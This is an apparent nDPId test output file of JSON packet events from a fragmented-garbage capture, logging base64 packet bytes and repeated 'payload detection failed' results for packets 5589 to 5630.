+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5589,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":868096,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiFkAGQ5sKAAACCoAAAnRnP0dSP0dSP3NSPzc0ODM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5589,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5590,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":868110,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiGEAGQ5kKAAACCoAAAjk2KSgqJl4lJCNAIUAjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5590,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5591,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":868124,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiGkAGQ5cKAAACCoAAAl4mKigpKComXiUkI0AjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5591,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5592,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":868137,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiHEAGQ5UKAAACCoAAAl4mKigqJl4lJCMmKihLSUo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5592,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5593,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":868149,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiHkAGQ5MKAAACCoAAAkhHRkQyKiZERkdISksmXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5593,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5594,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":868161,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiIEAGQ5EKAAACCoAAAiQjI0VUUiVZXlUmSSpPUHs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5594,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5595,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":868176,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiIkAGQ48KAAACCoAAAiI6aGRmbGtkYT5MPE1OQkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5595,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5596,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":868207,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiJEAGQ40KAAACCoAAAkdGREVXI0AkJV5IQkdWCjQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5596,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5597,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":868221,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiJkAGQ4sKAAACCoAAAjIxNDYzMTk4MjA1MSkoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5597,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5598,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":868235,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiKEAGQ4kKAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5598,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5599,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":868247,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiKkAGQ4cKAAACCoAAAiQjcnNkbHVoZ2tmZHNia24="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5599,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5600,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":868260,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiLEAGQ4UKAAACCoAAAnZjLy50Z2Z0Zz9HUj9HUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5600,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5601,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":868272,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiLkAGQ4MKAAACCoAAAnNSPzc0ODM5NikoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5601,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5602,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":868287,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiMEAGQ4EKAAACCoAAAiNAIUAjJCVeJiooKSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5602,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5603,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":868301,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiMkAGQ38KAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5603,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5604,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":868313,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiNEAGQ30KAAACCoAAAiMmKihLSUpIR0ZEMiomREY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5604,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5605,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":868342,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiNkAGQ3sKAAACCoAAAkdISksmXiUkIyNFVFIlWV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5605,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5606,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":868353,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiOEAGQ3kKAAACCoAAAlUmSSpPUHsiOmhkZmxrZGE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5606,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5607,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":868363,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiOkAGQ3cKAAACCoAAAj5MPE1OQkhHRkRFVyNAJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5607,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5608,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":868374,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiPEAGQ3UKAAACCoAAAl5IQkdWCjQyMTQ2MzE5ODI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5608,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5609,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":868384,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiPkAGQ3MKAAACCoAAAjA1MSkoKiZeJSQjQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5609,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5610,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":868393,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiQEAGQ3EKAAACCoAAAiYqKComXiUkI3JzZGx1aGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5610,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5611,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":868403,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiQkAGQ28KAAACCoAAAmtmZHNia252Yy8udGdmdGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5611,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5612,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":868412,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiREAGQ20KAAACCoAAAj9HUj9HUj9zUj83NDgzOTY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5612,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5613,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":868422,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiRkAGQ2sKAAACCoAAAikoKiZeJSQjQCFAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5613,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5614,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":868432,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiSEAGQ2kKAAACCoAAAiooKSgqJl4lJCNAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5614,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5615,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":868445,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiSkAGQ2cKAAACCoAAAiooKiZeJSQjJiooS0lKSEc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5615,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5616,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":868456,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiTEAGQ2UKAAACCoAAAkZEMiomREZHSEpLJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5616,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5617,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":868466,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiTkAGQ2MKAAACCoAAAiNFVFIlWV5VJkkqT1B7Ijo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5617,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5618,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":868476,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiUEAGQ2EKAAACCoAAAmhkZmxrZGE+TDxNTkJIR0Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5618,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5619,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":868486,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiUkAGQ18KAAACCoAAAkRFVyNAJCVeSEJHVgo0MjE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5619,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5620,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":868496,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiVEAGQ10KAAACCoAAAjQ2MzE5ODIwNTEpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5620,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5621,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":868511,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiVkAGQ1sKAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5621,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5622,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":868528,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiWEAGQ1kKAAACCoAAAnJzZGx1aGdrZmRzYmtudmM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5622,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00384{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5623,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":868541,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiWkAGQ1cKAAACCoAAAi8udGdmdGc\/R1I\/R1I\/c1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5623,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5624,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":868553,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiXEAGQ1UKAAACCoAAAj83NDgzOTYpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5624,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5625,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":868566,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiXkAGQ1MKAAACCoAAAiFAIyQlXiYqKCkoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5625,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5626,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":868579,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiYEAGQ1EKAAACCoAAAiNAIyQlXiYqKComXiUkIyY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5626,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5627,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":868594,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiYkAGQ08KAAACCoAAAiooS0lKSEdGRDIqJkRGR0g="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5627,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5628,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":868607,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiZEAGQ00KAAACCoAAAkpLJl4lJCMjRVRSJVleVSY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5628,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5629,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":868625,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiZkAGQ0sKAAACCoAAAkkqT1B7IjpoZGZsa2RhPkw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5629,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5630,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":868636,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiaEAGQ0kKAAACCoAAAjxNTkJIR0ZERVcjQCQlXkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5630,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 